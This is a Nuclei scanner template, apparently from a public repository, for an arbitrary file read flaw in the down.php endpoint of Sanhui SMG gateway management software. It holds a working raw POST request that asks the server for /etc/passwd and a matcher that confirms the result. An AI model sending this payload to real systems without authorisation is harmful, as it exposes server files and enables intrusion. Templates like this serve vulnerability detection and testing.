nuclei-templates/http/vulnerabilities/other/sanhui-smg-file-read.yaml

47 lines
1.3 KiB
YAML
Raw Normal View History

2023-08-18 03:22:06 +00:00
id: sanhui-smg-file-read
info:
name: 三汇SMG 网关管理软件 down.php 任意文件读取漏洞
author: SleepingBag945
severity: high
description: 三汇SMG 网关管理软件 down.php文件中存在任意文件读取漏洞攻击者通过漏洞可以下载服务器任意文件
tags: sanhui-smg
http:
- raw:
- |
POST /down.php HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfA9vzLuw6Gmtnmv2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundaryfA9vzLuw6Gmtnmv2
Content-Disposition: form-data; name="downfile"
/etc/passwd
------WebKitFormBoundaryfA9vzLuw6Gmtnmv2
Content-Disposition: form-data; name="down"
下载
------WebKitFormBoundaryfA9vzLuw6Gmtnmv2
Content-Disposition: form-data; name="runinfoupdate"
------WebKitFormBoundaryfA9vzLuw6Gmtnmv2--
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
part: body
- type: status
status:
- 200